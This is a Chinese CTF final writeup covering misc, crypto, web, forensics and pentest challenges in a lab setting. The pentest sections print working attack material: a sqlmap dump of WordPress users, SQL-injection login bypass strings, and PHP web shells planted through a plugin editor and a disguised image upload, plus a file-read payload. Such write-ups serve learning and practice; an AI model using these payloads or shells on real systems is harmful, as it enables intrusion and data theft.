2026破阵阁决赛-Writeup

Misc

代码中的秘密

查看/robots.txt
assets/破阵阁-Writeup/0c1646d52795f350544e3898d7698899_MD5.jpg
base64解密得到we scan php codes with rips
assets/破阵阁-Writeup/573cfacd1656e7e4e110a63dcf109086_MD5.jpg
提示指向rips
访问/rips
assets/破阵阁-Writeup/e1d9dda4af835d987bfd925acf7b9b52_MD5.jpg
通过分析 RIPS 的功能,发现其 /windows/code.php 文件存在任意文件读取漏洞。
在源码发现js/script.js
分析js/script.js,发现 RIPS 的扫描功能通过 POST 请求发送给 main.php
assets/破阵阁-Writeup/9e0cf06644431abbc22506acce11e7e2_MD5.jpg
构造payload:

loc=/var/www/&subdirs=1&verbosity=1&vector=all&treestyle=1&stylesheet=ayti

发现flag文件路径,/var/www/html/rips/5570338f-7c7c-49f7-aa42-dcfa711fe2b1.php
assets/破阵阁-Writeup/76f36201b820d4a1840804292ce5d7be_MD5.jpg
再使用windows/code.php 文件存在的任意文件读取漏洞读取flag
assets/破阵阁-Writeup/5d01d159ac5a985825b71e7019cf3eb9_MD5.jpg

crypto

寻迹烟海

这题也是喜提一血
前期分析时间太长了导致有几题都没时间看/(ㄒoㄒ)/~~

打开容器有512行的64位16进制字符
排查发现有4对重复的64位16进制字符,猜测应该是flag中的-
结合题目描述的背景位中文的,所有极有可能使用的是中国国密算法

根据密文的特征结合背景,上网搜索资料能发现SM3算法中的输出长度和输出格式与密文相同
assets/破阵阁-Writeup/e6c58cf8ca25e69e3af642fe61f77f8b_MD5.jpg
基本确定为SM3哈希算法
进行验证

from gmssl import sm3, func

with open('cipher.txt', 'r') as f:
    lines = [l.strip() for l in f.readlines() if l.strip()]
line_set = set(lines)

for i in range(1000):
    h = sm3.sm3_hash(func.bytes_to_list(str(i).encode()))
    if h in line_set:
        idx = lines.index(h)
        print(f"SM3('{i}') -> line {idx}")

输出

SM3('155') -> line 92
SM3('200') -> line 33
SM3('285') -> line 186
SM3('475') -> line 60
SM3('568') -> line 243
SM3('877') -> line 208
SM3('895') -> line 213

确定为SM3哈希算法
进行暴力破解全部明文


import re
import string
from gmssl import sm3, func


def sm3_hash(data: bytes) -> str:
    return sm3.sm3_hash(func.bytes_to_list(data))


def solve():
    with open('cipher.txt', 'r') as f:
        lines = [l.strip() for l in f.readlines() if l.strip()]
    
    assert len(lines) == 512, f"Expected 512 lines, got {len(lines)}"
    assert all(len(l) == 64 for l in lines), "Each line should be 64 hex chars"
    
    line_set = set(lines)
    matched = {}
    
    charset = string.ascii_lowercase + string.digits
    for c1 in charset:
        for c2 in charset:
            for c3 in charset:
                h = sm3_hash((c1 + c2 + c3).encode())
                if h in line_set:
                    for idx, line in enumerate(lines):
                        if line == h and idx not in matched:
                            matched[idx] = c1 + c2 + c3
    
    missing_set = set(lines[i] for i in range(512) if i not in matched)
    if missing_set:
        extended = string.ascii_letters + string.digits + string.punctuation + ' '
        for c1 in extended:
            for c2 in extended:
                for c3 in extended:
                    if c1 in charset and c2 in charset and c3 in charset:
                        continue  # 已搜索过
                    h = sm3_hash((c1 + c2 + c3).encode())
                    if h in missing_set:
                        for idx, line in enumerate(lines):
                            if line == h and idx not in matched:
                                matched[idx] = c1 + c2 + c3
                        missing_set.discard(h)
                        if not missing_set:
                            break
                if not missing_set:
                    break
            if not missing_set:
                break
    
    for idx in range(512):
        if idx not in matched:
            for other_idx in range(512):
                if lines[other_idx] == lines[idx] and other_idx in matched:
                    matched[idx] = matched[other_idx]
                    break
    
    assert len(matched) == 512, f"Only matched {len(matched)}/512 lines"
    
    # 拼接明文
    plaintext = ''.join(matched[i] for i in range(512))
    print(f"[+] Recovered plaintext ({len(plaintext)} chars)")
    
    # 提取 flag
    flag = re.search(r'flag\{[^}]+\}', plaintext)
    if flag:
        print(f"[+] Flag: {flag.group()}")
    else:
        print("[-] Flag not found in plaintext")
        print(f"    Plaintext: {plaintext}")


if __name__ == '__main__':
    solve()
[+] Recovered plaintext (1536 chars)
[+] Flag: flag{99bcd2d2-2ae3-465a-bddc-65682e6b8d88}

web

Secure File Viewer

在源码发现/file.php?filename=logo
assets/破阵阁-Writeup/1bd743ac65fbcbb620cf293bafda2969_MD5.jpg
测试文件读取/flag.txt,文件不存在
assets/破阵阁-Writeup/ad856c65720bc56554886bd3071d7539_MD5.jpg
进行不可打印url编码再读取%0Fflag%0Etxt,获取flag
assets/破阵阁-Writeup/688a6054669057795cc617589cd76b34_MD5.jpg

源自于真实

进入页面发现sectest:sectest
assets/破阵阁-Writeup/cd44e7d1f33a9e4a56b1efe8b74fccc7_MD5.jpg
尝试登陆,发现页面跳转/login2.php?verify=sectest
assets/破阵阁-Writeup/a1f1febb624f960e14e40fe74e4fa939_MD5.jpg
更改url为/login2.php?verify=admin
使用bp进行爆破
assets/破阵阁-Writeup/138eb90c3908dfaaec886b7c285b3ade.png
拿到验证码
assets/破阵阁-Writeup/08194817b11017cdf668d97d31b53949.png
输入验证码得到flag

这个笔记真的安全吗?

访问容器发现网站是一个基于nodejs构建的应用
查看源码,发现使用了 React Server Components (self.__next_f.push)
assets/破阵阁-Writeup/e8410f91b974cc2ef68dcb42b6d32e1c_MD5.jpg
这存在一个严重的反序列化漏洞 (CVE-2025-55182),允许未授权的远程代码执行。
在前段时间举办的:HKCERT 2025react2025CISCN国赛暨长城杯初赛redjs也是相同的CVE漏洞题目
直接用github开源的工具一把梭GelukCrab/React-Server-Components-RCE: React Server Components 远程代码执行漏洞(CVE-2025-55182)
assets/破阵阁-Writeup/80f54cad9fd7864fb53fe35041c17520_MD5.jpg发现flag文件
assets/破阵阁-Writeup/5f1578bf9f756d5174738b497c0393ee_MD5.jpg
读取flag
assets/破阵阁-Writeup/070120d588b9dd8fb6e59ef09a087548_MD5.jpg

Forensics

FLAG 消失之谜

CTF-Net-A一把嗦得到flag的base64编码
ZmxhZ3s2MjQzYzdiNi1lYzc0LTQwMmQtYTg1MC1kYzU1MDIxMGVjMmN9
assets/破阵阁-Writeup/41d776a181d2b4ec18a6a2e7672fd247_MD5.jpg
解码得到flag
assets/破阵阁-Writeup/5f28389daed5594a9fd7bef56afc0749_MD5.jpg

一发入魂

CTF-Net-A一把梭拿到flag的16进制编码
666c61677b39376436393331312d333861352d346161362d393564342d3063306164306336313231627d
assets/破阵阁-Writeup/f2cb39b37301bb8032024d8c3dbb6c1a_MD5.jpg
解码得到flag
assets/破阵阁-Writeup/7bba97a0861e5ef3f6628a8b14f4c2d8_MD5.jpg

锈蚀密钥

附件是一个e.dd镜像文件
火眼挂起检材
在文件分类中发现可疑图片secret.bmp和可疑文件openstego.jar
assets/破阵阁-Writeup/e9529590d636b6d4f0ae9de0e2df92ea_MD5.jpg
assets/破阵阁-Writeup/1a762533466a2577a604dae706b1b7e7_MD5.jpg
打开openstego.jar导入secret.bmp进行解密
assets/破阵阁-Writeup/502e539259d3b6ac416a93cb447a359e_MD5.jpg
解密后在桌面生成了一个3.txt的文件,文件中有flag
assets/破阵阁-Writeup/0dbc716e34121ee4f431eb53d5fe7fce_MD5.jpg

静影寻踪

附件是一个内存镜像文件
使用lovelymen Pro内存取证工具
检索字符串flag{获取flag
assets/破阵阁-Writeup/c5a283cd5b202d7f7839b9b2fcf17c29_MD5.jpg

Pentest

东西很老,能用就好

参考文章:
[vulnhub]Hackademic.RTB1 - sunset2131 - 博客园
一步一步跟着复现即可
使用 dirsearch 工具结合 SecLists 字典进行扫描,发现 /wp-admin//wp-login.php/xmlrpc.php 等关键路径。
基本确定存在CVE-2005-1687 漏洞(cat 参数处的 SQL 注入漏洞)
通过 SQL 注入枚举系统用户,发现 KearaJohnson(管理员)、ColleenFeeney(内核权限)等账户。
index.php 文件中的 cat 参数存在 SQL 注入漏洞。
index.php?cat=1 AND 1=1(正常返回)对比 index.php?cat=1 AND 1=0(无返回)。
使用 sqlmap 确认该漏洞支持布尔盲注、报错注入和时间盲注。
assets/破阵阁-Writeup/14878e5610c0a4f4ea4a09a422651c7b_MD5.jpg
利用 SQL 注入漏洞导出 wp_users 数据表内容:

sqlmap -u "http://175.27.169.122:60065/?cat=1" --batch -D wordpress -T wp_users --dump

获取到的账户凭据:

  • TobinWilliamson: 密码 q1w2e3(用户级别:10,管理员权限)
  • KearaJohnson: 密码 admin(用户级别:1)
  • ColleenFeeney: 密码 kernel(用户级别:0)
    进入后台 plugin ->Plugin Editor页面,选择 hello.php 插件文件进行编辑,在文件头部插入
<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>

assets/破阵阁-Writeup/2de474670664aafe6f88b52c3f7f0675_MD5.jpg
访问url执行命令
assets/破阵阁-Writeup/326070af704b5a8e63aad3dd80ce85a9_MD5.jpg
漏洞成功利用
?cmd=ls -la /
assets/破阵阁-Writeup/ee65b2c01c177c92c9c3b06bcf30d573_MD5.jpg
?cmd=cat /flag-mh2m
获取flag
assets/破阵阁-Writeup/2934ef4ff72e63e68d292f7733f1094b_MD5.jpg

综合挑战

参考文章:
打靶记录11——Billu_b0x - Fab1an - 博客园
直接使用账号密码:or%200%3d0%20%23%22 / =%5c成功登录
assets/破阵阁-Writeup/4331e1563addffa43e065fea4609ee20_MD5.jpg
上传图片,shell.png

GIF89a
<?php
if ($_REQUEST['s']) {
system($_REQUEST['s']);
} else {
phpinfo();
}
?>

验证文件包含漏洞,成功执行
assets/破阵阁-Writeup/ecc7eafe3b548d201db0b3b6c2c4654d_MD5.jpg
尝试访问刚刚上传了一句话木
成功执行
assets/破阵阁-Writeup/31835d155934ab1bccfb2829ecce2835_MD5.jpg
?s=ls -la /
找到flag文件
assets/破阵阁-Writeup/8f33cfd3d6488387a3366fd3fac1bc2c_MD5.jpg
读取flag文件
assets/破阵阁-Writeup/b9b7ec8da9ae0121e45ce17ecbd2a98a_MD5.jpg

posted @ 2026-02-09 02:42  v1c0  阅读(269)  评论(0)    收藏  举报